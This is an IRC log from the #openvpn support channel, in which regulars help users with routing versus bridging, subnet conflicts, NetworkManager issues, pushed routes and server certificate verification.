15:14 < acu> the push "route 192.168.100.0 255.255.255.0"  should reflect the OpenVPN Server LAN  - in my case would be 192.168.1.0 ?
15:15 <+pekster> If that's your server LAN, yes. I'd suggest you re-number your LAN unless you know (and can assure) that clients will never connect from that range
15:15 <+pekster> That's the single most common RFC1918 LAN, so SOHO setups are likely to conflict
15:15 < acu> so there are two places dealing with IP - one is server where you define the network and netmask and push
15:18 < acu> the server entry should be different - let's say 10.0.0.0 netmask 255.0.0.0 and the push should be similar to that in my LAN
15:22 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:24 <+pekster> huh?
15:25 < acu> is funny ?
15:25 <+pekster> "server entry" ? And why are you using 10/8?
15:25 <+pekster> 10/8 is awful too as more specific routes will override it
15:26 < acu> I was wondering what you recommend ?
15:40 < acu> I have a question, it may sound stupid but please bear with me and if anyone can answer - it will be great - if the file server in OpenVPN master LAN has IP address 192.168.1.134 and I want to access it from the OpenVPNclient - the client needs to have an address like 192.168.1.150 ? am I right here ?
15:41 < acu> So far what I see is that the ClientVPN TAP-adaptor gets the IP specified in the server section - of the conf file
15:42 <+pekster> FFS, don't bridge in the first place
15:43 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
15:43 <+pekster> Since your client runs openwrt with dnsmasq built-in, there is zero reason to bridge here
15:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:46 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 244 seconds]
15:46 -!- mivok [~mark@static-108-48-124-82.washdc.fios.verizon.net] has quit [Quit: WeeChat 0.4.1]
15:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
15:53 < acu> I know, ignorance is maximum, but what is FFS ?
15:54 <@EugeneKay> For Fuck's Sake
15:54 <+pekster> Most of the day today you've had people tell you not to bridge
15:54 < acu> lol
15:55 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:55 <+pekster> If you want to bridge, especially with the same netwowrk range at each end (not just as a routed tap setup) then you're presumably already an expert who doesn't need advice/help
15:55 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
15:55 <+pekster> If that doesn't describe you, don't bridge. Bridges are more complex, have more working pieces have pitfalls, and are generally a pain
16:05 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
16:06 -!- zedsix [~z6@unaffiliated/z6] has joined #openvpn
16:07 -!- xeqution [~z6@unaffiliated/z6] has quit [Ping timeout: 240 seconds]
16:11 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 264 seconds]
16:13 < james41382> This is really wierd. I cam seemingly connect to my vpn from my lan like this: openvpn --dev tun0 --config file.ovpn, but if I try to connect via the network-manager applet or with my iphone via the OpenVPN app it fails saying connection timed out.
16:13 < james41382> Really struggling here.. anybody?
16:17 <+pekster> NM probably isn't adding in `--dev tun0` -- do you have a valid --dev defined in the config?
16:17 <+pekster> If not, you probably want `--dev tun` instead
16:18 <+pekster> No clue on the iPhone app; that's not a community maintained product but generally you load a valid config onto it and it often works
16:18 < james41382> pekster: Oh you're right dev tun0 is in the config so that is redundant.
16:19 <+pekster> Generally it's unnecessary to declare a number as openvpn willy dynamically create one
16:19 < james41382> pekster: That's good to know.
16:21 < james41382> pekster: Any ideas on what I might be doing wrong here?
16:21 <+pekster> No clue since apparently your config is fine
16:22 <+pekster> Ask the NM folks if their frontend is breaking things and its logs don't help
16:22 <+pekster> Same thing if you want to use the corporate software known as "OpenVPN Connect" -- that's a completely different codebase that's not even using the actual OpenVPN code
16:22 <+pekster> OpenVPN does not run on iPhone -- only  "OpenVPN Connect"
16:23 < james41382> pekster: Right, but all that aside. I can't even get Gnome network-manager working.
16:24 < james41382> If I start it from the terminal it seems to connect fine. http://paste.debian.net/65073/
16:24 <@EugeneKay> !networkmanager
16:24 <@EugeneKay> !ubuntu
16:24 <@vpnHelper> "ubuntu" is dont use network manager!
16:24 <@EugeneKay> There it is ;-)
16:24 < james41382> EugeneKay: So you're saying that network-manager simply won't work with openvpn?
16:25 <@EugeneKay> It will, but it's a pain
16:25 < james41382> Why?
16:25 < james41382> It does great with all my other connections... eth, wlan, etc
16:25 <@EugeneKay> Because they try to guify all of the --options
16:25 <@EugeneKay> And getting a real .conf out of the thing is nigh impossible
16:26 <+pekster> It's so abstracted and that project refuses to properly integrate with actual config files
16:27 < james41382> So in other words, as EugeneKay, said simply don't use network-manager with openvpn.. got it.
16:27 <+pekster> Yup
16:27 <+pekster> Sometimes it works for easier setups but YMMV
16:27 < james41382> But it's wierd that it fails in the same way as the iphone OpenVPN Connect app.
16:27 <+pekster> It's quite inflexible
16:27 < james41382> YMMV?
16:27 < james41382> !ymmv
16:27 <+pekster> Your Mileage May Vary
16:27 <+pekster> ie: it might work, might not, might require modification for your environment/use-case
16:28 -!- master_of_master [~master_of@p4FD7B477.dip0.t-ipconnect.de] has joined #openvpn
16:28 < james41382> but using openvpn from term is great?
16:28 <@EugeneKay> `openvpn` is great. Various wrappers / reimplementations are what suck, yes.
16:28 < james41382> Ahh.. okay.
16:28 <@EugeneKay> Most distributions include an init script(or "service") that is a lightweight wrapper for the binary
16:29 <@EugeneKay> Commonly they just start an instance of openvpn for /etc/openvpn/*.conf and let it run
16:29 <@EugeneKay> Some(Gentoo I think is an offender? I forget) try to networkmanager it, and pain results.
16:30 <+pekster> No, gentoo's init has nothing to do with NM at all
16:30 < james41382> I mean I don't mind starting it from the terminal. But I'll be the first to admit I get lazy when something "just works".
16:30 <@EugeneKay> I was using it as a verb - see also "shit all over"
16:30 <+pekster> Gentoo does do 1 stupid thing in that it adds --user/--group for files with remote in them
16:30 <+pekster> Other than that, gentoo does it basically right
16:31 -!- master_o1_master [~master_of@p4FF24CEF.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
16:31 <@EugeneKay> vim /etc/openvpn/client.conf; chkconfig --levels 35 openvpn on; service openvpn start; enjoy ;-)
16:31 < james41382> I'm not going to manually configure every interface I use throughout the week when nm will do it for me without problems. Up until now anyways..
16:31 <+pekster> openvpn isn't "just an interface"
16:31 <+pekster> It's a program and starting it properly is required to effectively use it
16:31 <+pekster> If NM can't start openvpn properly, it would stand to reason you either need to fix why that blows up or not use it
16:32 < james41382> Yes I get that.. I was going back to the subject of network manager.
16:32 < james41382> I would like to fix it, but I don't know how.
16:32 < james41382> Though it seems to work from term. I need to get to an external network to really test it. It gives errors about the lan and tun subnets being the same.
16:33 <+pekster> Apparently neither do that project's developers ;)
16:33 <+pekster> Are they the same? That won't work if they are
16:33 < james41382> pekster: Or maybe don't want to put in the time.
16:33 < james41382> pekster: Right, so it connects, but gives a warning.
16:33 <+pekster> Routing requires non-conflicting networks
16:33 < james41382> There's wifi downstairs in my building I should walk down there and test it out I suppore.
16:34 < james41382> s/r/s/g
16:35 < james41382> Okay I guess I better do some homework.  Too much play not enough work so far today. I'll be around here now. Thanks all.
16:45 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
16:48 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
16:50 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
16:56 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
17:00 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 245 seconds]
17:03 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
17:21 < dimm0k> so i have openvpn set up however the connecting client can't access any of the machines on the server's lan...  followed everything in the serverlan.png image and i reached the end, but can't ping the server's LAN and the server's LAN can't ping the connected client
17:22 <+pekster> dimm0k: "the end" is "it works"
17:22 <+pekster> How can you have it working and not woring at the same time?
17:22 <+pekster> Any other box you "end" at is a problem you need to fix, thus you're not done
17:26 < dimm0k> pekster: i mean the end of the image where it says "Add a route to the lan machine..."
17:27 < dimm0k> so the connecting client can see the server and the server's lan ip no problem
17:27 < dimm0k> server can see the connecting client
17:27 < dimm0k> but the client can see the lan machine
17:31 <+pekster> Then it all works
17:31 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru]
17:33 < dimm0k> pekster: how do i get the client to be able to see the server's LAN and vice versa?
17:33 <@EugeneKay> !route
17:33 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
17:33 <@vpnHelper> client
17:33 <@EugeneKay> Read
17:33 <+pekster> You add a route
17:34 <+pekster> If you haven't done that, do it
17:34 <+pekster> Where you do it depends on your network infrastructure and how much access you have to it
17:34 < dimm0k> i have added routes...  just not sure if i added the correct ones
17:35 < dimm0k> lemme check the above links and come back
17:39 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
17:40 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
17:43 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
17:48 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
17:48 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Ping timeout: 272 seconds]
17:53 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 252 seconds]
18:02 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
18:03 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 272 seconds]
18:07 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:10 -!- mmikeym [~mikeym@184.70.65.118] has quit []
18:10 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
18:24 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Read error: Connection reset by peer]
18:25 -!- atmosx [~lnx@gentoo-el.org] has joined #openvpn
18:26 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
18:30 < dimm0k> pekster: here's a diagram of my current setup and the manual routes i've added http://imgur.com/y5aAwS4
18:30 <@vpnHelper> Title: imgur: the simple image sharer (at imgur.com)
18:30 < dimm0k> are my routes correct?
18:32 < dimm0k> pekster: current server config here http://pastebin.com/0Px9Fhy3
18:33 <+pekster> What are your networks?
18:33 < dimm0k> what do you mean?
18:33 <+pekster> 10.8.44/24 for the VPN, 192.168.4/24 for the server-side LAN?
18:33 <+pekster> And that's all you have involved here?
18:34 < dimm0k> correct and correct, that's all that's involved
18:40 <+pekster> Your server config is missing a key directive. Line 11 is pointless as it's implied by line 7. OpenDNS sucks; don't use it (lines 13/14.) Line 27 is probably not doing you any good. Line 28 will break clients; remove it
18:41 <+pekster> If you want to redirect, that's in !redirect. Don't mess with it until your setup actually works
18:41 <+pekster> Without seeing a client config, I have NFI what else might be wrong, but why are you adding routes manually? Line 8 is already push it; don't add the route yourself
18:41 <+pekster> Stop tryin to do stuff like push dns or redirect until your config actually works
18:47 < dimm0k> pekster: here's the client config i'm using to connect http://pastebin.com/8Wj59jBm
18:51 <+pekster> tls-auth doesn't match between hosts
18:51 <+pekster> Otherwise that's fine
18:51 <+pekster> Most of the problem is your server config
18:51 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
18:51 <+pekster> Fix what I noted above and the currently unbalanced --tls-auth and it should work fine
18:54 -!- gardar [~gardar@gardar.net] has joined #openvpn
18:59 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
19:01 -!- napoleonwilson [~napoleonw@host-83-146-10-5.dslgb.com] has joined #openvpn
19:02 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
19:02 -!- mode/#openvpn [+o dazo_afk] by ChanServ
19:02 -!- dazo_afk is now known as dazo
19:02 < dimm0k> hrmm, will do...  lemme see
19:06 < napoleonwilson> im trying to use xbmc over a openvpn connection but am having problems with the routes
19:07 < napoleonwilson> the server pushes a couple of routes for 0.0.0.0 which stop xbmc connecting
19:08 < pppingme> whats xbmc?
19:08 < napoleonwilson> xbmc is media center
19:09 <+pekster> napoleonwilson: Don't push 0/0. If you want to redirect, see !redirect
19:09 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:09 < napoleonwilson> im using vpnbook free server so i cant control whats pushed to the client
19:10 < napoleonwilson> im trying to use xbmc over a vpn so i can watch hulu outside the states
19:11 <+pekster> Then your server admin is clueless
19:11 <+pekster> Try paying money to companies that don't suck
19:11 < napoleonwilson> its a free service cant do anything about it
19:11 < napoleonwilson> im a cheapskate
19:11 < pppingme> how do you think pushing the default route is breaking it?
19:11 <+pekster> Optionally, learn to do it properly yourself by reading about --route-noexec, --route-nopull, --route, --redirect-gateway, and such
19:11 < napoleonwilson> trying to unblock hulu with a free vpn
19:11 -!- minidino [~rawr@108.174.58.174] has joined #openvpn
19:12 < minidino> !welcome
19:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:12 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:12 <+pekster> pppingme: Use of def1 flag pushes two /1 routes; pushing 0/0 has major implications with local gateway management systems like DHCP or network management daemons
19:13 < napoleonwilson> yes being pushed def1
19:13 < minidino> Is it possible to have only specific applications connect through a vpn?
19:13 < pppingme> pekster right, I know def1, I'm more curious why he thinks a 0/0 route is breaking him
19:14 < napoleonwilson> xbmc gets the vpns ip and gateway
19:14 <+pekster> huh?
19:14 < pppingme> minidino the question is easier if its asked "is it possible to only have specific servers accessible through the vpn"
19:14 <+pekster> How can xbmc get any IP? You can't, AFAIK, run openvpn on xmbc...
19:14 < pppingme> napoleonwilson more correctly, the OS gets it and uses it, but isn't that your goal??
19:15 <+pekster> Have I missed something?
19:15 < napoleonwilson> yes the os gets the connection
19:15 < napoleonwilson> i can watch hulu thru a web browser no problem
19:15 <+pekster> If the xbmc is off-link, a 0/0 route will probably screw things up
19:15 <+pekster> Is that what's happening?
19:15 < minidino> yes but what if the application is p2p such as a bittorrent client?
19:15 < napoleonwilson> but when i try and use xbmc it doesnt work
19:15 <+pekster> napoleonwilson: Wonderful. WHere _is_ it?
19:15 < napoleonwilson> xbmc is a media center
19:16 < napoleonwilson> http://xbmc.org/
19:16 <@vpnHelper> Title: XBMC | Open Source Home Theatre Software (at xbmc.org)
19:16 < pppingme> what OS is this on?
19:16 <+pekster> In your network.. FFS
19:16 < napoleonwilson> xbmc works on every platform
19:16 <+pekster> :(
19:16 < napoleonwilson> http://www.xbmchub.com/
19:16 < napoleonwilson> then you use xbmchub to install plugins that let you watch hulu and other us channels
19:16 <+pekster> napoleonwilson: Where *IS* this box in relation to the VPN client?
19:16 <+pekster> I don't want links to stupid vendor sights
19:17 < minidino> like would it work to be creative and have certain applications bind to a specifc ip for routing purposes or does that even make sense?
19:17 <+pekster> I don't want sales pitches telling me how great it is
19:17 <+pekster> I wnat to you answer the question I asked
19:17 < napoleonwilson> my laptop is runnng the openvpn clent
19:17 < napoleonwilson> and also running xbmc
19:17 < pppingme> what OS is this laptop?
19:17 <+pekster> So how can you not access something running on your own box? Go to 127.0.0.1 and you're done
19:17 < napoleonwilson> linux mint 15
19:17 < pppingme> paste the output of "ip route"
19:18 < napoleonwilson> ok dude will do
19:18 < napoleonwilson> not connect to the vpn at the moment
19:18 < pppingme> paste it while you're connected and in this "broken" state
19:19 <+pekster> Oh, xmbc is a service you access from a streaming service? Then once you wipe out or override your route that is going over the VPN
19:19 <+pekster> It's broken, that's probably the fault of your redirected gateway
19:19 <+pekster> IOW, you are _NOT_ running the xmbc connection from "your PC" -- it comes from somewhere else
19:19 < napoleonwilson> yes something to do with the gateway
19:19 < napoleonwilson> spot on
19:19 <+pekster> "by accessing live streaming technology directly from XBMC"
19:19 < napoleonwilson> trying to connect back to xbmc as it where
19:19 <+pekster> Then don't mess with the gateway if your endpoint breaks the connection
19:20 <+pekster> And really, use /1 routes instead
19:20 <+pekster> (which will probably break the same way, but YMMV
19:21 <+pekster> My guess is the service you're connecting to bans the IP range you're using across the VPN; do some traceroutes and find out
19:21 < napoleonwilson> can i alter the routes to force xbmc over the vpn
19:21 <+pekster> !routebyapp
19:21 <@vpnHelper> "routebyapp" is (#1) if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination. or (#2) Alternatively, read up about Policy Routing to make routing decisions based on defined
19:21 <@vpnHelper> policies you set. For Linux, read about !lartc
19:21 < napoleonwilson> thats the thing it works fine in the browser
19:21 < napoleonwilson> so the vpn is blocked by hulu
19:21 <+pekster> I'm not surprised there either
19:21 <+pekster> Solution: don't use the VPN for hulu
19:22 <+pekster> Send complaints to the owner of the VPN network since you don't have control over it
19:22 <+pekster> None of this is really openvpn's fault
19:22 -!- acu [~acu@107.128.131.129] has quit [Read error: Connection reset by peer]
19:22 <+pekster> If you connect to a wifi cafe and they ban hulu, netflix, or xbmc, you can't exactly call up the laptop tech support and expect them to fix it
19:22 < napoleonwilson> some kind of weird routing issue with xbmc
19:23 < pppingme> I'm more wondering if the "vpn" provider is only allowing port 80 or something
19:23 <+pekster> Since we don't have access to that end, we don't know. There's a factoid for that too pppingme:
19:23 < napoleonwilson> you can choose port 80 443 tcp 53 udp
19:23 <+pekster> !both
19:23 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
19:24 < pppingme> no, I don't mean how to connect to the vpn, I mean what traffic they allow
19:24 < napoleonwilson> the vpn unblock hulu perfectly in a web browser
19:25 < napoleonwilson> just can get it to work in xbmc
19:26 < napoleonwilson> i have 2 wifi cards in my laptop any thing i can do with that
19:26 < napoleonwilson> some additional routes or iptables magic
19:27 < pppingme> why do you have two wifi cards in a single laptop?
19:27 < napoleonwilson> i have an external wifi card as well
19:28 <+pekster> Don't solve L7 problems at L3. If you want to "route by application", then use policy routing or proxies to do that
19:28 < napoleonwilson> only other thing i can think of is to set up another router with a vpn connection
19:28 < napoleonwilson> then connect to that as a gateway
19:28 <+pekster> Gateways work by a defined CIDR netmask
19:28 <+pekster> "xmbc" is not a valid IP network definitoin
19:29 <+pekster> 203.0.113.0/25 is, but there's no way to tie a service or DNS name into a static network
19:29 < napoleonwilson> i can set up another computer to use the router with the vpn as a gateway
19:30 < napoleonwilson> trying to force all trafic over the vpn somehow
19:30 <+pekster> Right, and then use that anytime you want to have your traffic redirected across the gateway
19:30 <+pekster> Could be a VM too, if you'd prefer
19:30 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
19:30 < napoleonwilson> vm thats a good idea
19:30 < napoleonwilson> i also have a raspberry pi lying about
19:38 -!- acu [~acu@107.128.131.129] has joined #openvpn
19:45 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 245 seconds]
19:49 -!- napoleonwilson [~napoleonw@host-83-146-10-5.dslgb.com] has quit [Quit: Leaving]
19:50 < acu> when I start the GUI it tells me no server certificat verification method has enabled - how and what exactly do I need to enable
19:52 < acu> I know this is something trivial - I made the server work before - I did something which was not persistent or something like this
19:52 <+pekster> !mitm
19:52 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
19:53 < acu> thanks
19:53 < acu> !servercert
19:53 <@vpnHelper> "servercert" is (#1) openssl req -days 3650 -nodes -new -keyout server.key -out server.csr -extensions server -config ./openssl.cnf && openssl ca -days 3650 -out server.crt -in server.csr -extensions server -config ./openssl.cnf && chmod 0600 server.key or (#2) or just use build-key-server in easy-rsa or (#3) this will help with !mitm
20:08 -!- Carbon_Monoxide [~cmonxide@14.0.143.76] has joined #openvpn
20:16 -!- Carbon_Monoxide [~cmonxide@14.0.143.76] has left #openvpn ["Leaving"]
20:29 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
20:43 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:57 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit [Read error: Connection reset by peer]
20:58 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
21:00 -!- dandy [~dandy@2a01:360:106::2] has joined #openvpn
21:04 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 272 seconds]
21:04 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 272 seconds]
21:04 -!- manitu [~manitu@static.88-198-15-112.clients.your-server.de] has quit [Ping timeout: 272 seconds]
21:05 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
21:05 -!- manitu [~manitu@static.88-198-15-112.clients.your-server.de] has joined #openvpn
21:05 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
21:08 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
21:10 -!- newbie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
21:10 -!- newbie is now known as Guest33003
21:12 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 260 seconds]
21:14 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 272 seconds]
21:15 -!- Guest33003 [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
21:15 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
21:20 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 272 seconds]
21:23 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
21:25 -!- Varazir [~mircwars@c-94-255-129-205.cust.bredband2.com] has quit [Ping timeout: 245 seconds]
21:26 < james41382> I'm making progress. The reason it wasn't working before is because I was trying to test it from within my home network. Geez do I feel dumb.
21:27 < james41382> It works with network-manager like a dream.
21:32 -!- Varazir [~mircwars@c-94-255-129-205.cust.bredband2.com] has joined #openvpn
21:34 <@ecrist> sup bitches?
21:36 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
21:38 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
21:41 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
21:47 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
21:48 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
21:50 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
21:50 <@EugeneKay> Dongs
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:04 <@ecrist> mine, fo sho!
22:23 < SupaYoshi> hey guys
22:23 < SupaYoshi> I got almost everything working with my vpn now...
22:23 < SupaYoshi> I added static routes to my router
22:24 < SupaYoshi> and I can ping any device from my lan network to my openvpn client.
22:24 < SupaYoshi> But i cannot ping my lan device from my openvpn client.
22:24 < SupaYoshi> and someone says i have to add the route to the router on the client side aswell
22:25 < SupaYoshi> but i do not have a router that is capable of doing tat at my client side
22:25 < SupaYoshi> so i need to add it to the client file they say
22:25 < SupaYoshi> or the server.conf
22:25 < SupaYoshi> but im confused now, can someonep lease answer this?
22:26 < zedsix> Unrelated question, I went and played Golf yesterday, and I was smashing balls like their was no tommorow (I think I have a hidden talent), I wanted to get some clubs instead of using the ones at the driving range, I just want a club that will allow me to smash the balls as far as I can).
22:26 < zedsix> Anyone know what type of club I need?
22:28 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit []
22:37 -!- acu [~acu@107.128.131.129] has quit [Quit: Leaving]
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 248 seconds]
23:37 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:48 < wsky> \/22
23:48 < wsky> whoops, sry
--- Day changed Mon Nov 11 2013
00:41 -!- kubbing [~kubbing@gprs13.vodafone.cz] has joined #openvpn
00:50 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:10 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:30 -!- mattock_afk is now known as mattock
01:48 -!- kubbing [~kubbing@gprs13.vodafone.cz] has quit [Read error: Connection reset by peer]
01:54 -!- kubbing [~kubbing@gprs13.vodafone.cz] has joined #openvpn
02:13 -!- kubbing [~kubbing@gprs13.vodafone.cz] has quit [Read error: Connection reset by peer]
02:19 -!- kplong [~kplong@96.8.127.198] has joined #openvpn
02:22 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
02:28 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
02:35 -!- kplong [~kplong@96.8.127.198] has quit [Ping timeout: 245 seconds]
02:46 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
02:52 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
03:05 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 244 seconds]
03:12 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
03:17 -!- SviMik [~pIRCuser8@204.164.250.195.sta.estpak.ee] has joined #openvpn
03:17 -!- SviMik [~pIRCuser8@204.164.250.195.sta.estpak.ee] has left #openvpn []
03:17 -!- SviMik [~pIRCuser8@204.164.250.195.sta.estpak.ee] has joined #openvpn
03:23 < SviMik> <krzee> SviMik, then the dhcp server from each side will start fucking up the other side // actually not. I was thinking about it, and found a solution. DHCP pool doesn't need to match the entire subnet.
03:23 < SviMik> so, if we have /24 network, we can bridge them, and they still may have own dhcp servers. one with .2-.127 range, and another with .128-.254
03:24 < SviMik> then, even without internet, both sides will work
03:26 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has quit [Ping timeout: 260 seconds]
03:41 -!- mcp [~mcp@wolk-project.de] has quit [Quit: ZNC - http://znc.sourceforge.net]
03:41 -!- caelian1 is now known as caelian`
03:42 < pppingme> SviMik by definition of a bridge, unless you explicitly block traffic, a dhcp server won't limit itself to serving just one side of the bridge.
03:43 < pppingme> how many hosts are involved and whats the speed of the bridged connection?
03:47 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
03:51 < SviMik> pppingme that was just a theory, not a specific network
03:52 < SviMik> of course, if you have 20+ hosts, you may start thinking about routing instead of bridging
03:53 < pppingme> I would start routing with even a single host..  in general my view is unless there's a good and explicit reason to bridge, then you should route.
03:56 < SviMik> in some cases routing is impossible. if you don't have access to router, then you may need to do nathack. it's even worse.
03:57 < pppingme> SviMik why would you not have access to the router?  Are you not authorized to be setting stuff up on the lan?
03:58 < SviMik> Are you not authorized \\ sometimes yes :) I was in such situation few years ago. it wasn't about bridging two networks, just connecting my PC to the network from home
03:59 < pppingme> so you were hooking things to your work network without permission from the IT team?
03:59 < SviMik> yes :)
04:00 < pppingme> If you did that to my network, I'd argue you should be fired..
04:01 < SviMik> and openvpn bridge installed to one of PC in this network worked fine
04:03 < SviMik> I don't think I did something bad. I was authorized to use this network with my laptop. with vpn I just did the same, but remotely
04:04 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
04:05 < pppingme> If you have to question or justify it in your mind, you've already broken the rules.
04:15 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
04:31 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
04:46 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
04:48 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:06 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
05:12 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
05:12 < SupaYoshi> hii
05:13 < SupaYoshi> Ive everything working atm, I added a route to my router to be able to reach vpn clients from my lan
05:13 < SupaYoshi> but i cannot reach lan clients from my openvpn client
05:13 < SupaYoshi> FriedZombie told me yesterday that I had to push the route to the client for that.
05:14 < SupaYoshi> But i think i have done that, and if not, I am confused, do i do this in the server.conf or client.conf?
05:14 < SupaYoshi> and if so, what do i add? something with iroute, route or push "
05:17 < SviMik> if you do it in server.conf, then you need push ""
05:17 < SviMik> in client.conf it is also possible to write same things but without push ""
05:18 < SupaYoshi> I see
